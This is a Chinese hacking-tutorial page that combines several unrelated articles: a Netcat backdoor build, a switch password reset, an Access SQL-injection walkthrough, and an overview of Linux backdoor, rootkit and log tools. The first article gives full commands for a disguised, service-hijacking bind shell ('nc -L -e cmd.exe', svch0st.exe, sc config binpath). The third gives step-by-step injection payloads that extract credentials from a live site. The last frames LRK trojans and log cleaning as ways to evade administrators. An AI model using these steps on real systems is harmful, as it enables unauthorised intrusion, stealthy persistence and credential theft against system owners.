黑客实战之攻击篇——用NC打造成自己的简单后门

时间:2023-01-09 15:18:23

大家都知道nc是一个强大并且灵活的黑客工具,用他可以做很多事情,譬如做为telnet的客户端口,譬如入侵的时候反弹回来shell,譬如扫描……但是你有没有想过将他打造成一个服务级的后门呢?现在好多跟我一样的菜鸟还不懂得编程,别人写的流行点的后门又经常被杀,那就跟我一起来自己手工制作一个后门吧,不需要任何编程知识菜鸟级的东东哦。

  首先请准备好不被杀的nc.exe(随便加个壳就可以了的),还有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就可以打造我们自己的后门了,后门的要求我想不需要很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就可以了,有了cmdshell做什么不可以呢。如果你需要反弹的后门,也可以做到,自己注册个域名就可以用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就可以看到,我们主要用到的几个参数如下:

-e 绑定一个程序并且连接时执行
-l 非法词模式
-p 指定nc要运行的本地端口
-L 增强了的非法词模式,当连接断开时再次非法词
  
  至于其他的用法相信各位已经很了解了的,我们以前经常用到的是

nc -l -e cmd.exe -p 8888 非法词8888端口,当有连接时重定向到cmd.exe实现绑定一个shell

  这样的形式用serveru等溢出程序执行后来绑定一个可以得到shell的端口8888,我们telnet或者nc连接上来的时候就可以直接获得一个shell。但是这样连接断开之后非法词的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L可以一直保持非法词的状态,可以反复连接。用

nc -L -e cmd.exe -p 8888 也是绑定的,不过加强了的

  这样的命令就已经达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何保证nc再机器重起之后还可以工作从而实现我们的后门的目的呢?你可以把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已经被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!

  首先我们将nc.exe放到%systemroot%system32下面,起名叫svch0st.exe或者放到%systemroot%system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就可以了,我们就改那个clipsrv.exe服务吧!命令如下:

sc config clipsrv start= auto 将clipsrv.exe服务设置为自动
sc config clipsrv binpath= "c:winntsystem32svch0st.exe -L -e cmd.exe -p 8888" 设置clipsrv.exe服务的启动路径为我们的nc
sc start clipsrv 启动clipsrv.exe服务

  嘿嘿,但是看看结果吧!看看服务里的显示信息,如图一,很显眼哦!不管,先启动服务然后

netstat -an find "8888" etstat -an的结果中查找8888看我们的程序是否运行
  的确是已经被打开了,但是当显示服务没有响应的时候nc的进程被结束了,这是Windows服务管理机制吧。不是很成功呵,我们继续改造!不懂编程的我们这个时候就会很郁闷,因为不能让服务停止响应的时候我开始想用bat2exe.exe,但是启动服务的时候总是出现拒绝访问的错误,大概是bat2exe出来的exe文件不被系统服务格式所支持,只能想其他的办法了,于是我想到了用Winrar.exe来做我们自己的exe文件,这总该被服务的可执行文件支持吧!至于如何实现编程里的子进程在父进程终止后仍然可以在内存中运行,我用的方法是写个run.vbs然后用cscript.exe来调用,至于如何调用就可以在自解压格式里设置解压后运行cscript.exe run.vbs,如图三。其中Run.vbs里的内容如下:

dim sh 定义变量
set sh=createobject("wscript.shell") 取得WSH对象
sh.run "nc -L -e cmd.exe -p 8888",0 执行我们的程序并隐藏错误

  而自解压的路径写上%systemroot%system32,这样我们自解压服务程序就做好了,保存为c1ipsrv.exe(不好意思,还是用那个1和l的把戏),放到c:winntsystem32目录下面。现在修改我们的clipsrv剪切薄服务的具体路径为c:winntsystem32c1ipsrv.exe,命令如下:

sc stop clipsrv 将clipsrv.exe服务设置为自动
sc config clipsrv start= auto
sc config clipsrv binpath= "c:winntsystem32c1ipsrv.exe" 设置clipsrv.exe服务的启动路径为我们的nc
sc start clipsrv 启动clipsrv.exe服务

  现在一切OK了,这样以来我们的程序的参数细节还会被屏蔽,比开始的参数直接放到执行文件路径里好多了。我们来实验下。先net start clipsrv,然后netstat -an find "8888"看看开没开8888端口,最后用nc 127.0.0.1 8888连接上去得到shell了呵!如图四。好了,快去体验自己动手的快乐哦,你还可以作其他的事情,只要你的服务的程序做的够好,甚至可以用反向回来的nc,具体我就不写了。

  本文是我看了韩的一个动画之后想到的,后来自己想到完全可以将nc改成后门的,不过也还是有很大的缺陷,毕竟不是编程,因为不能返回信息给服务控制器,会在日志里留一些错误,不过,有多少人去在意这些错误呢?还有就是没有身份验证功能,不过端口可以自定义不知道算不算一个身份验证。
 

破解交换机密码地全部过程  交换机和路由器都需要有一定的安全保证,也就是说要及时为他们配置合理的密码,那么如果这个密码忘记了怎么办呢?笔者就遇到过这么一次,由于岗位调动,以前的网络管理员离开了本部门,却把交换机上设置了密码,而且没有告诉我这个接任的网络管理员。怎么办呢?送回厂商破解又太麻烦了。于是我亲手经历了一次破解密码的过程。

  一,网络环境:

  公司使用实达的3500系列(具体型号是3548)交换机,在交换机上面连接了一台华为2621路由器,通过电信的光纤上网。实际情况这台实达3548交换机被以前的网络管理员设置了密码而没有告诉我。所以破解他的密码成为本篇文章的核心。

  二,准备工作:

  由于整个工作需要断网,毕竟涉及到重新启动交换机等操作,所以选择时间在工作下班后的晚上23点。另外由于破解密码这类操作都必须使用CONSOLE控制台线来设置,所以地点只能是中心机房。笔者找到了实达3548设备的所有相关工具,包括安装说明与CONSOLE控制线等。

  三,实战破解密码:

  根据笔者以往经验实达所有设备的使用和操作命令语句都应该和CISCO设备类似,所以原本以为按照破解CISCO设备密码的步骤就可以轻松搞定。谁知道一上手才发现原来差别还真不小。一般来说CISCO设备都是通过修改配置寄存器configuration register来实现破解密码的操作。在实达交换机中根本不存在配置寄存器configuration register这个概念。通过查询资料才发现,原来实达交换机是使用修改超级终端配置的方法来破解密码的。

  第一步:将实达交换机的配套CONSOLE控制线连接到设备的CONSOLE管理接口。

  第二步:将CONSOLE控制线的另一断连接到网络管理员调试使用的笔记本的COM串口上。

  第三步:进入笔记本系统桌面,点“开始->所有程序->附件->通讯->超级终端”。

  第四步:启动系统的超级终端后我们随便为新建立的连接起一个名字。

  第五步:在连接设置处的“连接时使用”地方通过下拉菜单选择刚刚使用CONSOLE控制线连接的端口。例如COM1口。

  第六步:在COM1属性设置窗口中我们对连接的参数进行配置。一般来说我们正常连接交换机应该采用每秒位数9600,数据位为8,奇偶校验是无,停止位是1,数据流控制是无。不过要是想破解实达交换机的密码的话就需要修改这些数值。将PC超级终端串口速率设成57600,其他和上面写的相同即可。
  第七步:使用终端连接到交换机后,再打开交换机的电源,在交换机启动后进行自检时立即按下“ESC”键多次进入交换机的监控模式。终端界面将出现多个选项,包括一些基本的初始化设置。

  小提示:

  刚开始笔者按照第七步的步骤尝试并没有成功,超级终端界面总是显示很多个“。。。。。”。后来才发现原来交换机必须在超级终端连接后才能加电启动,如果先开交换机再用超级终端连接的话则无法进入监控模式。

  第八步:根据菜单提示,将配置文件config.text上传(Upload)至网络管理员使用的笔记本,然后删除交换机上的配置文件Config.text。

  第九步:在笔记本上打开刚下载的保存在系统硬盘中的config.text文件,将以下语句

  enable secret level 1 5 !E,1u_;C9&-8U0H

  enable secret level 15 5 *r_1u_;C3vW8U0H

  删除然后保存退出。

  第十步:根据交换机监控模式的提示,将笔记本上修改的config.text再下载(Download)到交换机中。

  第十一步:重新将笔记本的超级终端串口速率设成9600,其他保持默认参数。交换机加电重启后,进入交换机配置界面,你就会发现我们可以重新配置交换机的密码了,包括远程TELNET的管理密码以及本机的特权密码。此后交换机的密码也将变成你刚刚配置的,而其它配置则保留不变,并不会影响任何使用。

  小提示:

  在实际使用中笔者发现使用实达3550交换机的监控模式中的上传和下载文件功能并不稳定,经常出现传输失败的提示。所以笔者索性直接在监控模式中将config.text删除,然后重新启动交换机重新配置所有交换机信息。这种情况适用于交换机自身配置不多也不复杂,另外网络管理员也需要对设置语句比较熟悉。

  总结:

  经过本次实战破解交换机密码的操作,笔者再次明白了对于路由交换设备来说,不同厂商操作程序和步骤绝对是不同的,即使命令语句类似但是在其他高级操作上还是大相径庭的。因此本篇文章介绍的所有内容仅仅是针对实达路由器与交换机,如果你遇到的是其他设备则需要采取其他的方法来解决。
SQL注入漏洞初级应用之Access篇  如果你已经掌握了SQL注入漏洞的一些相关的基础知识,那是不是觉得看了理论有一种想急于知道如何实际动手操作的冲动,好吧,Let’s go,这篇文章我们就来实战SQL注入,不过针对网站的数据库是ACCESS的,毕竟在国内都是用虚拟机,一般只有FTP上传权限,所以还是很有市场的。

  首先要注意的是,如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

  1.入侵测试目标:

  前不久我们学校的一个同学做了个网站,做的还挺漂亮的,叫我去看下,我顺便对它进行了一次安全检测。文章发表前已经征得该同学的同意,请不要效仿。下面的真实网址已经被我屏蔽。

  测试网站:
http://www.xxx.com/index.asp

  2.寻找可能的SQL注入点

  我们知道,一般的文章管理系统,下载系统,论坛,留言本,相册等都会有个show.asp?id= list.asp?id= news.asp?id= 什么的,其实一看就知道是调用SQL语句查询数据库并显示出来。我们不难发现这个站的新闻系统就是show.asp?id=的形式,随便点一个链接得到地址如下:

  
http://www.xxx.com/show.asp?id=474

  从这个地址就知道是通过show.asp执行SQL语句访问数据库,可想而知,SQL语句原貌大致如下:

  select * from 表名 where 字段=xx,如果这个show.asp对后面的id整型参数过滤好的话,就可能存在SQL注入漏洞。

  3.判断SQL注入是否存在

  通过上面的分析知道,要判断有没有SQL注入漏洞,就得看show.asp有没对参数过滤好,所以可以用以下步骤测试SQL注入是否存在。
  a.最简单的判断方法

  在要检测的网址后面加一个单引号:
http://www.xxx.com /show.asp?id=474’

  此时show.asp中的SQL语句变成了:select * from 表名 where 字段=xx’,如果程序没有过滤好“’”的话,就会提示 show.asp运行异常;但这样的方法虽然很简单,但并不是最好的,因为:

  第一:不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

  第二:由于以前存在过的1’ or ‘1’=’1漏洞,所以目前大多数程序员已经将“’“ 过滤掉,所以用" '"测试不到注入点,所以一般使用经典的1=1和1=2测试方法,如下:

  
http://www.xxx.com /show.asp?id=474 and 1=1, show.asp运行正常,而且与 http://www.xxx.com /show.asp?id=474运行结果相同,如图1:

[attachment=1259]

  
http://ww.xxx.com /show.asp?id=474 and 1=2, show.asp运行异常,(这就是经典的 1=1 1=2 判断方法)如图2:
[attachment=1260]

  这里很明显当加 and 1=1 的时候返回完全正常的页面,加 and 1=2 显示:暂时还没有文章!

  到这里基本上可以断定他存在SQL注入,至于能不能注出账号密码来,还需要更进一步的注入测试,这里只能得到SQL注入点:
http://www.xxx.com/show.asp?id=474
  4.判断表是否存在

  国内的一般程序员在设计数据库的时候都会用一些特定的做为表名,字段名什么的。比如说后台管理员一般放在表admin里面,而注册的用户放在表users里,当然,只是一般,依照各程序的不同而不同。

  这个站是我同学自己写的,我还是先判断管理员表admin是否存在,在后面加上语句:and exists (select * from admin)变成
http://www.xxx.com/show.asp?id=474 and exists (select * from admin)提交访问后返回的页面如图3:
[attachment=1261]

  这就说明我猜的admin表名不存在,继续猜另外的名字,这里可以参考国内常见的程序的表名,比如:admin user vote manage users 会员 用户 管理员 admin_admin userinfo bbs news system等,这个站我最后猜到的是:users,语句:and exists (select * from users)。

  5.进一步判断表里的字段是否存在

  判断字段id 是否存在,这个一般都有,自动编号。如果存在了顺便猜一下管理员的id值。

  判断存在语句:and exists(select id from users)

  判断编号语句:and exists(select id from users where id=1)

  一般管理员账号密码放在第一位,也就是id=1,如果不是就猜下去,猜id=2 猜id=3等啦。

  由于这个站是自己写的代码,所以会有点不同,当判断是否不过你可以猜到他的对应的可能是userid,因为他表名取做user呀,把上面的id改为userid就返回了正常的页面,如图4:
[attachment=1262]

  至于这个userid值为多少,同样猜,and exists(select userid where userid=1)改变1这个数字,一直猜到页面显示正常为止。这里我猜到的是userid=11,如图5:

[attachment=1263]

  最后猜出这个继续猜出其它的字段,用户名字段最后为username,密码字段为userpwd,用到的语句分别为:and exists (select username from users)和and exists (select userpwd from users),这里就不抓图了。
  6.再进一步判断账号和密码的长度

  这里我说一下常用的方法,判断的时候大于小于一起用嘛,学过数据结构的人都知道有二分法,我这里也引用一下,比如说你判断 >4 而又判断<12 那我接下来就取中间的看是大于8还是小于8,如果是大于8则说明在8到12之间,如果是小于8说明在4到8之间,再接着用二分法判断下去。。。。。。当然由于账号密码一般人不会太长,所以在这里二分法的优势体现的不够明显,不过到下面猜账号密码字符的时候就能明显感受到了。

  首先判断账号username的字符长度:and exists (select userid from users where len(username)<10 and userid=11),返回正常说明长度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常说明长度小于5,最后猜到的是

  and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6:

[attachment=1264]

  再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。

  到此,我们得到的信息如下:

  账号username长度:4

  密码userpwd长度:16
  7.猜解账号密码字符

  在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。

  格式:mid(字符串,开始位置,子串长度)

  比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y

  这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面加上如下的语句:

  and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:

  and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常

  and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常

  以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765

  and 11=(select userid from users where asc(mid(username,1,1))= -19765)

  ASCII码为-19765对应的字符就是:菜

  下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7:
[attachment=1265]

  对应字符为:鸟

  到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:

  作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。

  接着猜密码,依然二分法,就不抓图了:

  and 11=(select userid from users where asc(mid(userpwd,1,1))<50)

  and 11=(select userid from users where asc(mid(userpwd,1,1))>40)

  最后得到的为:48 对应的字符就是0

  依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此。
  8.后台的猜解

  经过前面辛苦的猜解,我们已经得到这个网站的账号密码了,当然这里已经是MD5加密了,我们只是说一下常规的SQL注入攻击中的一步,往往也是最为关键的一步:寻找网站管理后台。像这样动态生成页面的网站,一般都会有个管理后台的,添加文章编辑文章修改文章删除文章什么的,而一般的程序员在命名后台的时候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,当然还有退出后台的文件:logout.asp admin_logout.asp admin/admin_logout.asp等。一个一个的访问,结果嘛,我只能说靠运气加上你的经验了。以这个站为例,前面那些登录的我一个也没猜到,因为我猜到有admin这个目录,我就一直以为登录的页面也在admin目录,猜了好久,最后无意访问admin/logout.asp,页面居然自动转到后台登录页面了,居然是上一级目录的login.asp,我狂汗,如图8:
[attachment=1266]

  有了后台,有了账号密码(当然这个站是MD5加密的密码,我也懒得破解),你就可以进后台了,至于进后台你能做什么,就看后台的功能与你的技术了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦!
Linux下的后门和日志工具  攻入Linux系统后,很多入侵者往往就开始得意忘形了。这其中还有一个原因,就是技术性也要求更高了。下面,我们来看看一些常用的经典工具。

  1、从这里延伸:后门和连接工具

  (1)Httptunnel

  Tunnel的意思是隧道,通常HTTPTunnel被称之为HTTP暗道,它的原理就是将数据伪装成HTTP的数据形式来穿过防火墙,实际上,它是在HTTP请求中创建了一个双向的虚拟数据连接来穿透防火墙。说得简单点,就是说在防火墙两边都设立一个转换程序,将原来需要发送或接受的数据包封装成HTTP请求的格式骗过防火墙,所以它不需要别的代理服务器而直接穿透防火墙。

  HTTPTunnel包括两个程序:htc和hts,其中htc是客户端,而hts是服务器端,我们现在来看看我是如何用它们的。比如开了FTP的机器的IP是192.168.10.231,本地机器IP是192.168.10.226,因为防火墙的原因,本地机器无法连接到FTP上。怎么办?现在就可以考虑使用HTTPTunnel了。过程如下:


  第一步:在本地机器上启动HTTPTunnel客户端。用Netstat看一下本机现在开放的端口,会发现8888端口已在侦听。

  第二步:在对方机器上启动HTTPTunnel的服务器端,并执行命令“hts -f localhost:21 80”,这个命令的意思是说,把本机的21端口发出去的数据全部通过80端口中转一下,并且开放80端口作为侦听端口,再用Neststat看一下他的机器,就会发现80端口现在也在侦听状态。

  第三步:在本地机器上用FTP连接本机的8888端口,会发现已经连上对方的机器了。那么,为什么人家看到的是127.0.0.1,而不是192.168.10.231呢?因为我们现在是连接本机的8888端口,防火墙肯定不会有反应,如果没往外发包,局域网的防火墙肯定就不知道了。现在连接上本机的8888端口以后,FTP的数据包不管是控制信息还是数据信息,都被htc伪装成HTTP数据包然后发过去,在防火墙看来,这都是正常数据,相当于欺骗了防火墙。

  需要说明的是,这一招的使用需要其他机器的配合,就是说要在他的机器上启动一个hts,把他所提供的服务,如FTP等重定向到防火墙所允许的80端口上,这样才可以成功绕过防火墙!肯定有人会问,如果对方的机器上本身就有WWW服务,也就是说他的80端口在侦听,这么做会不会冲突?HTTPTunnel的优点就在于,即使他的机器以前80端口开着,现在也不会出现什么问题,重定向的隧道服务将畅通无阻!

  (2)Tcp_wrapper

  Tcp_wrapper是Wietse Venema开发的一个免费软件。Tcp_wrapper的诞生有个小小的故事,大约1990年,作者所在大学的服务器屡屡受到一个外来黑客侵入,因为受害主机的硬盘数据屡次被rm -rf/命令整个抹掉,所以找寻线索极为困难,直到有一天晚上作者在工作的过程中无意中发现这个黑客在不断的finger 受害主机、偷窥受害者的工作。于是,一个想法诞生了:设计一个软件,使它可以截获发起finger请求的IP,用户名等资料。Venema很快投入了工作,而Tcp_wrapper也由此诞生!此后,Tcp_wrapper随着广泛的应用逐渐成为一种标准的安全工具。通过它,管理员实现了对inetd提供的各种服务进行监控和过滤。

  Tcp_wrapper编译安装成功后,会生成一个tcpd程序,它可以在inetd.conf这个控制文件中取代in.telnetd的位置,这样,每当有telnet的连接请求时,tcpd即会截获请求,先读取管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的in.telnetd程序,由in.telnetd完成后续工作。如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。Tcp_wrapper访问控制的实现是依靠两个文件:hosts.allow,hosts.deny来实现的。如果我们编辑/etc/syslog.conf文件时,加入了日志纪录功能,即:

  #tcp wrapper log
  local3.info /var/log/tcplog

  编辑结束后,保存文件,在/var/log下会生成tcplog文件,注意这个文件的读写属性, 应该只对root有读写权限。然后ps -ef   grep syslogd,找出syslogd的进程号,kill -HUP 重启syslogd进程使改动生效。 在这里,我们可以预先看一看以后生成的tcplog文件内容,如下:

[tr=#ffffff][td]Jul 31 22:00:52
www.test.org in.telnetd[4365]: connect from 10.68.32.1
Jul 31 22:02:10
www.test.org in.telnetd[4389]: connect from 10.68.32.5
Jul 31 22:04:58
www.test.org in.ftpd[4429]: connect from 10.68.32.3
Aug 2 02:11:07
www.test.org in.rshd[13660]: connect from 10.68.32.5
Aug 2 02:11:07
www.test.org in.rlogind[13659]: connect from 10.68.32.1[/td][/tr]


  从上面我们可以看到,在安装了Tcp_wrapper的主机上,系统的每一次连接,Tcp_wrapper都做了纪录,它的内容包括时间、服务、状态、ip等,对攻击这有很大的参考价值,不过,一定要记得清除日志了。
  (3)rootkit工具:LRK

  Rootkit出现于二十世纪90年代初,它是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击或者密码猜测获得系统的访问权限。接着,攻击者会在侵入的主机中安装rootkit,然后他会通过rootkit的后门检查系统,看是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后,攻击者就会利用这些信息侵入其它的系统。

  如果攻击者能够正确地安装rootkit并合理地清理了日志文件,系统管理员就会很难察觉系统已经被侵入,直到某一天其它系统的管理员和他联系或者嗅探器的日志把磁盘全部填满,他才会察觉已经大祸临头了。不过,在系统恢复和清理过程中,大多数常用的命令例如ps、df和ls已经不可信了。许多rootkit中有一个叫做FIX的程序,在安装rootkit之前,攻击者可以首先使用这个程序做一个系统二进制代码的快照,然后再安装替代程序。FIX能够根据原来的程序伪造替代程序的三个时间戳(atime、ctime、mtime)、date、permission、所属用户和所属用户组。如果攻击者能够准确地使用这些优秀的应用程序,并且在安装rootkit时行为谨慎,就会让系统管理员很难发现。

  下面我们介绍一个非常典型的针对Linux系统的LRK版本6。Linux Rootkit 6是一个开放源码的rootkit,经过多年的发展,Linux Rootkit的功能越来越完善,具有的特征也越来越多。下面我们简单地介绍一下Linux Rootkit包含的各种工具。

  首先是隐藏入侵者行踪的程序。为了隐藏入侵者的行踪,Linux Rootkit IV的作者可谓煞费心机,编写了许多系统命令的替代程序,使用这些程序代替原由的系统命令,来隐藏入侵者的行踪。这些程序包括:

[tr=#ffffff][td]ls、find、du[/td][td]这些程序会阻止显示入侵者的文件以及计算入侵者文件占用的空间。在编译之前,入侵者可以通过ROOTKIT_FILES_FILE设置自己的文件所处的位置,默认是/dev/ptyr。注意如果在编译时使用了SHOWFLAG选项,就可以使用ls -/命令列出所有的文件。这几个程序还能够自动隐藏所有名字为:ptyr、hack.dir和W4r3z的文件。[/td][/tr][tr=#ffffff][td]ps、top、pidof[/td][td]这几个程序用来隐藏所有和入侵者相关的进程。[/td][/tr][tr=#ffffff][td]netstat[/td][td]隐藏出/入指定IP地址或者端口的网络数据流量程。[/td][/tr][tr=#ffffff][td]killall[/td][td]不会杀死被入侵者隐藏的进程。[/td][/tr][tr=#ffffff][td]ifconfig[/td][td]如果入侵者启动了嗅探器,这个程序就阻止PROMISC标记的显示,使系统管理员难以发现网络接口已经处于混杂模式下。[/td][/tr][tr=#ffffff][td]crontab[/td][td]隐藏有关攻击者的crontab条目。[/td][/tr][tr=#ffffff][td]tcpd[/td][td]阻止向日志中记录某些连接。[/td][/tr][tr=#ffffff][td]syslogd [/td][td]过滤掉日志中的某些连接信息。[/td][/tr]

  其次是后门程序。木马程序可以为本地用户提供后门;木马网络监控程序则可以为远程用户提供inetd、rsh、ssh等后门服务,具体因版本而异。随着版本的升级,Linux Rootkit IV的功能也越来越强大,特征也越来越丰富。一般包括如下网络服务程序:

[tr=#ffffff][td]chfn[/td][td]提升本地普通用户权限的程序。运行chfn,在它提示输入新的用户名时,如果用户输入rookit密码,他的权限就被提升为root。[/td][/tr][tr=#ffffff][td]chsh[/td][td]提升本地用户权限的程序。运行chsh,在它提示输入新的shell时,如果用户输入rootkit密码,他的权限就被提升为root。[/td][/tr][tr=#ffffff][td]passwd[/td][td]和上面两个程序的作用相同。在提示你输入新密码时,如果输入rookit密码,权限就可以变成root。[/td][/tr][tr=#ffffff][td]login [/td][td]允许使用任何帐户通过rootkit密码登录。如果使用root帐户登录被拒绝,可以尝试一下rewt。当使用后门时,这个程序还能够禁止记录命令的历史记录。[/td][/tr][tr=#ffffff][td]inetd[/td][td]特洛伊inetd程序,为攻击者提供远程访问服务。[/td][/tr][tr=#ffffff][td]rshd[/td][td]为攻击者提供远程shell服务。攻击者使用rsh -l rootkitpassword host command命令就可以启动一个远程root shell。[/td][/tr][tr=#ffffff][td]sshd[/td][td]为攻击者提供ssh服务的后门程序。[/td][/tr]
  再就是工具程序。所有不属于以上类型的程序都可以归如这个类型,它们实现一些诸如:日志清理、报文嗅探以及远程shell的端口绑定等功能,包括:

[tr=#ffffff][td]fix[/td][td]文件属性伪造程序。[/td][/tr][tr=#ffffff][td]linsniffer[/td][td]报文嗅探器程序。[/td][/tr][tr=#ffffff][td]sniffchk[/td][td]一个简单的bash shell脚本,检查系统中是否正有一个嗅探器在运行。[/td][/tr][tr=#ffffff][td]login [/td][td]允许使用任何帐户通过rootkit密码登录。如果使用root帐户登录被拒绝,可以尝试一下rewt。当使用后门时,这个程序还能够禁止记录命令的历史记录。[/td][/tr][tr=#ffffff][td]z2 [/td][td]utmp/wtmp/lastlog日志清理工具。可以删除utmp/wtmp/lastlog日志文件中有关某个用户名的所有条目。不过,如果用于Linux系统需要手工修改其源代码,设置日志文件的位置。[/td][/tr][tr=#ffffff][td]bindshell[/td][td]在某个端口上绑定shell服务,默认端口是12497。为远程攻击者提供shell服务。[/td][/tr]
  (4)netcat

  这是一个简单而有用的工具,能够通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能。   2、查找Linux下的蛛丝马迹:日志工具

  对于高明的攻击者来说,进入系统后,还应了解自己的“蛛丝马迹”并清除这些痕迹,自然就要了解一些日志工具了。

  (1)logcheck

  logchek 可以自动地检查日志文件,定期检查日志文件以发现违反安全规则以及异常的活动。它先把正常的日志信息剔除掉,把一些有问题的日志保留下来,然后把这些信息 email 给系统管理员。logcheck 用 logtail 程序记住上次已经读过的日志文件的位置,然后从这个位置开始处理新的日志信息。logcheck 主要由下面几个主要的文件:

[tr=#ffffff][td=1,1,159]logcheck.sh[/td][td=1,1,322]可执行的脚本文件,记录logcheck检查那些日志文件等,我们可以把它加入crontab中定时运行。[/td][/tr][tr=#ffffff][td=1,1,159]logcheck.hacking[/td][td=1,1,322]是logcheck 检查的模式文件。和下面的文件一起,按从上到下的顺序执行。这个文件表明了入侵活动的模式。[/td][/tr][tr=#ffffff][td=1,1,159]logcheck.violations[/td][td=1,1,322]这个文件表示有问题,违背常理的活动的模式。优先级小于上面的那个模式文件。[/td][/tr][tr=#ffffff][td=1,1,159]
logcheck.violations
.ignore
[/td][td=1,1,322]这个文件和上面的logcheck.violations的优先是相对的,是我们所不关心的问题的模式文件。[/td][/tr][tr=#ffffff][td=1,1,159]logcheck.ignore[/td][td=1,1,322]这是检查的最后一个模式文件。如果没有和前三个模式文件匹配,也没有匹配这个模式文件的话,则输出到报告中。[/td][/tr][tr=#ffffff][td=1,1,159]Logtail[/td][td=1,1,322]记录日志文件信息。[/td][/tr]Logcheck首次运行时读入相关的日志文件的所有内容,Logtail会在日志文件的目录下为每个关心的日志文件建立一个logfile.offset 的偏移量文件,以便于下次检查时从这个偏移量开始检查。Logcheck执行时,将未被忽略的内容通过邮件的形式发送给 logcheck.sh 中 系统管理员指定的用户。

  (2)logrotate

  一般Linux 发行版中都自带这个工具。它可以自动使日志循环,删除保存最久的日志,它的配置文件是 /etc/logrotate.conf,我们可以在这个文件中设置日志的循环周期、日志的备份数目以及如何备份日志等等。在/etc/logrotate.d目录下,包括一些工具的日志循环设置文件,如syslog等,在这些文件中指定了如何根据/etc/logrotate.conf做日志循环,也可以在这里面添加其他的文件以循环其他服务的日志。

  (3)swatch

  swatch 是一个实时的日志监控工具,我们可以设置感兴趣的事件。Swatch 有两种运行方式:一种可以在检查日志完毕退出,另一种可以连续监视日志中的新信息。Swatch提供了许多通知方式,包括email、振铃、终端输出、多种颜色等等。安装前,必须确保系统支持perl。swatch 软件的重点是配置文件swatchmessage,这个文本文件告诉 swatch 需要监视什么日志,需要寻找什么触发器,和当触发时所要执行的动作。当swatch发现与swatchmessage中定义的触发器正则表达式相符时,它将执行在 swatchrc中定义的通知程序。

  当然,上面所介绍的软件只是Linux大海中的几只美丽的贝壳,随着越来越多的用户加入到Linux大军中,我们相信,优秀的Hack也将越来越多,这反过来也将促进Linux操作系统逐步走向成熟,我们拭目以待